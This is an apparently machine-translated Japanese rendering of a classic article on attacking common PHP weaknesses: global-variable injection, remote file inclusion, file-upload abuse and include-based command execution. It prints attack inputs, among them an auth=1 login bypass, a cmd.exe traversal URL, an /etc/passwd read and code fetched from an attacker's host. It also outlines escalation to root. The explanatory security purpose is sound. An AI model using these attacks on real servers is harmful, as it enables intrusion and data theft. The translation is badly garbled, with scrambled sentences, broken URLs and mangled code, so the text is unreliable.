(上)でPHPプログラムの共通の脆弱性への攻撃を実行する方法

  翻訳:analysist(アナリスト)

  出典:のhttp:// WWW.china4lert.ORG

  (上)でPHPプログラムの共通の脆弱性への攻撃を実行する方法

  オリジナル:ショーン?クロウズ

  翻訳:analysist

  理由は、すべてのCGIのPerlの安全性に関する現在の記事では、例として、物品の翻訳、取るので、めったにASP、PHPやJSPのセキュリティ記事に専念していません.// WWW:この記事のショーンクロウズPHPのセキュリティ問題へのより包括的な導入は、元は、httpことができます.securereality.コム.AU / studyinscarlet.検索TXT.

  私は翻訳されませんでしたので、もはや元、だけでなく、PHPの背景や入門記事の基礎のかなりの一環として、PHPのセキュリティの内容に関連しません.あなたはこの知識を知りたい場合は、元を参照してください..

  本論文では、これらの領域にファイルをアップロードし、ライブラリファイル、セッションファイル、データ型とエラーが発生しやすい機能、グローバル変数、リモートファイルからPHPのセキュリティに焦点を当て、どのようにPHPのセキュリティを強化するためには、いくつかの有用な提案をしました.

  さて、前置きなしに、私たちは仕事に取り掛かります!

  [グローバル]

  PHPの変数は事前申告を必要としないときに最初に使用、それらが自動的に作成され、彼らはタイプを指定する必要はありません、彼らは自動的にコンテキストに基づいて決定されます.プログラマの観点から、これは治療の非常に便利な方法です.明らかに、これはまた、便利な言語の迅速な開発機能であります.変数が作成されたら、それはプログラムのどこでも使用することができます.この結果は、彼らが最初に作成されたとき、すべての後、彼らは空になっている、めったに変数を初期化していないプログラマの特性によるものです.

  もちろん、一般的にユーザの入力を受け付けているPHPアプリケーションの主な機能に基づいて、その後、入力データ処理(主に変数、アップロードされたファイル、およびクッキーなどを形成する)、その後、クライアントのブラウザに結果を返します..グローバル変数に対処するようできるだけ簡単にユーザーの入力をアクセスするためのPHPコードのためには、実際には、PHPを入力し、これらのデータであります.

  例えば:

  

  

  

  

  明らかに、これはテキストボックスを表示し、ボタンを提出します.ユーザーが送信ボタン、「テストをクリックすると.PHPテスト「ユーザの入力に対処します」.PHPの「実行時、」$ hello「をテキストボックスに入力されたユーザデータが含まれています.私たちは、攻撃者が自分の希望グローバル変数に応じて作成することができ、ここから見るべきです.攻撃者は、フォームの入力により、」テストを呼び出すために来ていない場合.PHP」が、直接入力し、ブラウザのアドレスバーにHTTP://サーバー/テスト.PHP?こんにちは= HI&セットアップ=なし、そして、「$ hello」をだけのものではありませんが作成された、「$セットアップ」も作成されました.

  翻訳者注:これらの2つの方法私たちは通常、「POST」および「GET」メソッドを言うことです.

  以下のユーザ認証コードがグローバル変数によって引き起こされるPHPのセキュリティ問題を暴露しました:

  

  もし($パス== "こんにちは")

  $認証= 1;

  .

  もし($認証== 1)

  エコー「いくつかの重要な情報」.

  ?>

  試合は、その後、「1」?「$ AUTH」を、設定されている場合、ユーザーのパスワードは、「こんにちは」であるかどうかを上記のコード最初のチェックは、認定されています.「1」?「$ suth」の後なら、それはいくつかの重要な情報が表示されます.

  表面は正しいように見える、と私たちは人々のかなりの数がこれをやっている持っていますが、コードが付与されたためのミスを犯し、それが「$ AUTHは、」一度に値が空だっ設定しませんが、攻撃者は考えていなかったことを前提としてい//サーバー/テスト:あなたは、同様の」HTTPを介した、任意のグローバル変数と代入を作成することができます.php?AUTH = 1」、そして我々はそれが我々がすでに認証されていることを信じさせるためにコードをカンニングすることができます.

  したがって、PHPプログラムのセキュリティを改善するために、我々はすべての変数を明示的に定義されていないことを信じることはできません.多くの単語のプログラムの変数ならば、これは非常に困難な作業であります.

  保護の一般的な方法は、配列HTTP_GET []またはをチェックすることですPOST_VARS []変数、私たちの提出に応じて(GETまたはPOST).PHPは「track_vars」オプションを開くように構成されている場合、次に(デフォルト)、ユーザによって提出された変数は、グローバル変数で得ることができ、アレイは、上記.

  しかし、注目に値するは、PHPは、ユーザーの入力を処理するために4つの異なる変数の配列を有しています.HTTP_GET_VARSを提出、HTTP_POST_VARS配列は変数のPOSTの提出を処理するのに使用されるGET変数の配列に対処するために、HTTP_COOKIE_VARS配列は、配列は、(比較的新しいPHPが提供された)、それは完全で、HTTP_POST_FILESのためのクッキー変数ヘッドとして提出プロセスに使用されていますユーザーが変数を提出するための別の方法.ユーザは、4つの配列変数の存在を容易に要求することができるので、安全なPHPのプログラムは4つの配列を確認してください.

  [リモートファイル]

  PHPは、言語機能が豊富で簡単に機能を実装するプログラマを可能にする多数の機能を提供します.しかし、セキュリティの観点から、より多くの機能は、それがより困難にそのセキュリティを確保するために、リモートファイルは、この問題の良い例を説明することです.

  

  (もし!($のFd =のfopen( "$ファイル名"、 "R"))

  エコー(「ファイルを開けませんでした:$ファイル名
\ N「);

  ?>

  それはエラーメッセージを表示するために失敗した場合、ファイル「$ファイル名を」開くために上記のスクリプトの試み.私たちは「$ファイル名」を指定することができるかどうかは明らかで、あなたは任意のファイルシステムを参照するには、このスクリプトを使用することができます.しかし、また、あまり目立たない機能があるスクリプトが、それは、他のWebサイトやFTPサイトからファイルを読み取ることができるということです.実際には、リモートファイルの処理に機能を処理する文書のほとんどPHPは透明です.

  例えば:

  あなたは「$ファイル名」を指定した場合「ですhttp://ターゲット/スクリプト/..%C1%1chttps:// WWW.jb51.ネット/ WINNT / system32に/ CMD.EXE?/ C + dirを "

  上記のコードは、実際にはdirコマンドを実行し、ホスト?ターゲット上のユニコードの脆弱性を利用しています.

  この()のサポート、リモートファイルが含まれます、必要が()、のinclude_once()とrequire_onceを()は環境のコンテキストでもっと面白いとなり.主な機能は、主に、ライブラリで使用される指定されたファイルの機能、およびPHPコードに従って解釈それらの内容を、含むことにあります.

  例えば:

  

  ($ LIBDIRが含まれます . 「/言語.PHP「);

  ?>

  「$ LIBDIR」上記の例で設定されていない攻撃者が「$ LIBDIR」を作ることができれば、パスを設定したコードを実行する前に一般的であり、彼はこのパスを変更することができます.彼らは彼らの言語でのみアクセスファイルパスを指定することができますので、しかし、攻撃者は、何もしません..PHP(「毒ヌルバイト」攻撃でperlはPHPに影響を及ぼしませんでした).しかし、おかげでリモートのファイルをサポートするために、攻撃者は何を行うことができます.例えば、攻撃者がサーバーの言語上のファイルを置くことができます.PHP、下記の構成からなります.

  

  パススルー( "/ binに/ lsのは/ etc");

  ?>

  そして、「$ libdirというは、」HTTP」に設定されています:///「だから我々は、ターゲットホスト上で実行することができるコードを悪用する、の」/ etc「ディレクトリの内容は、顧客のブラウザの結果として返されます.

  ます.http:// WWW(、evilhostある)攻撃、サーバーがPHPのコードを実行してはならない、または攻撃コードがサーバーを攻撃するのではなく、ターゲットサーバーが稼働して、あなたが技術的な詳細を知りたい場合は、を参照してくださいことに注意してください.securereality.コム.AU / sradv00006.txt

  [ファイルのアップロード]

  PHPは、自動ファイルアップロードRFC 1867をサポートし、我々は次の例を参照してください.

  

  

  

  

  

  上記のコードは、Submitをクリックすると、ファイルがサーバーにアップロードされ、ユーザーはローカルマシンからファイルを選択することができます.これは明らかに便利な機能ですが、PHPの応答は、ので、この機能は、安全でないとなり.PHP初めて、このような要求を受信した場合、それはPHPのコードが呼び出された構文解析を始めた前であっても、それはこれらの場合には、ファイルの長さは「$ MAX_FILE_SIZE変数」の値を超えているかどうかをチェックし、定義をリモートユーザのファイルを受け入れますテストでは、ファイルはローカルの一時ディレクトリの存在になります.

  そのため、攻撃者はPHPを実行しているホストに任意のファイルを送信することができ、PHPプログラムがまだファイルのアップロードを受け入れるかどうかを決定していない、ファイルが既にサーバー上に存在しています.

  私は、DOS攻撃のサーバーへのファイルアップロードを使用しての可能性を議論するためにここにいませんよ.

  私たちは上記の言ったように、ファイルが受信され、PHPハンドルファイルのアップロードを考えると、(場所は、設定ファイル、通常は/ tmpに指定されている)サーバー上に存在してみよう、拡張子が「phpxXuoXGと同様に、一般的にランダムであります"形.PHPプログラムは、我々が導入以前の方法にセキュリティ情報を作った後、他方は、二つの方法、一つの方法は、すでにPHP 3で使用されることができ、それを処理するために、ファイルの情報をアップロードする必要があります.

  しかし、私たちは、問題がまだ存在することを確実にPHPプログラムのほとんどを言うか、アップロードされたファイルを扱うための古い方法を使用することができます.PHPは、例えば、上記のように、アップロードされたファイルを記述するために4つのグローバル変数を設定します.

  ローカルマシン上のHello $ =ファイル名(E.G "を/ tmp / phpxXuoXG")

  $ Hello_size =ファイルのバイト単位のサイズ(E.1024グラム)

  $ Hello_name =リモートシステム上のファイルの元の名前(E.G「C:\\ TEMP \\ハロー.TXT")

  $ Hello_type =アップロードされたファイルのMIMEタイプ(E.G "text / plainの")

  PHPのプログラムとし、「$ hello」をに従って処理を開始するには、ファイルを指定し、問題は「$ hello」を変数であるPHPセット、任意のリモートユーザーがそれを指定することができ、必ずしもではありません.私たちは、次の方法を使用する場合:

  http:// vulnhost / vuln.php?こんにちは= = / etc / passwdファイル&hello_size = 10240&hello_type = text / plainの&hello_nameハロー.txt

  これは、(POSTメソッドでも(あるいはクッキー)することができ、もちろん)は、次のPHPのグローバル変数につながっています.

  こんにちは$ = "/ etc / passwdファイル"

  $ Hello_size = 10240

  $ Hello_type = "text / plainの"

  $ Hello_name =「ハロー.TXT"

  上記のデータは、単に所望のプログラムPHP変数を満たすために、しかし、その後、PHPプログラムがアップロードされたファイルを処理しません形式が、「/ etc / passwdファイル」(露出の内容で、通常の結果)との契約.この攻撃は、機密文書の内容を公開するために使用することができます.

  私はすでにPHPの新しいバージョンは、この問題を解決するためにファイルをアップロードすることを決定しHTTP_POST_FILES []を使用するだけでなく、多くの機能を提供し、言った、例えば、関数はファイルを決定するために使用されるファイルは、実際には含まれていません.これらの関数は、この問題に対する良い解決策ですが、実際には確かに多くのPHPのプログラムがある古いメソッドを使用している、この攻撃の影響を受けやすいです.

  ファイルアップロード攻撃の方法の変形として、我々は以下のコードを見てみましょう.

  

  ファイルは、ローカルシステム(なしリモートファイル)に存在する場合(file_exists($テーマ))//をチェック

  (「$テーマ」)を含みます.

  ?>

  攻撃者は「$テーマ」を制御することができた場合は、それは、リモート?システム上で任意のファイルを読むために「$テーマ」を使用することができることは明らかです.攻撃者の究極の目標は、リモートサーバー上で任意のコマンドを実行することでしたが、彼は、リモートサーバ上のPHPファイルを作成する必要がありましたので、彼は、リモートファイルを使用することはできません.攻撃者がローカルマシン上のPHPコードを含むファイルを作成し、フォームの「テーマ」という名前のドメインを含むファイルを作成する場合は一見すると、これは、私たちにこの好意を不可能だが、ファイルのアップロードのヘルプ最後に、ファイルがこのフォームを使用してファイルのアップロードを作成するために、上記のコードに提出されたPHPのコードが含まれている、PHPは、攻撃者までが提出したファイルを保存し、攻撃者の提出に「$テーマ」の値をファイルを設定して、攻撃者のコードによって、このようなfile_exists()関数のチェックが実行されます.

  再び私たちに好意を助けた後、任意のコマンドを実行する能力を取得した後、攻撃者は明らかに改善したり、順番にサーバ上で利用できないツールのいくつかのセットを必要とし、この権威、上のビルド、およびファイルのアップロードしたいです.攻撃者は、彼らは、サーバー上に存在するファイルアップロード機能アップロードツールを使用して、ファイルのパーミッションを変更する場合は、chmod()を使用して、命令を実行する能力を使用して、行うことができます.例:ファイアウォールやIDS迂回攻撃缶を悪用し、その後、実行するので、root権限を取得し、ローカルルートをアップロード.

  <未完待续>

(上)でPHPプログラムの共通の脆弱性への攻撃を実行する方法

Recommend Article: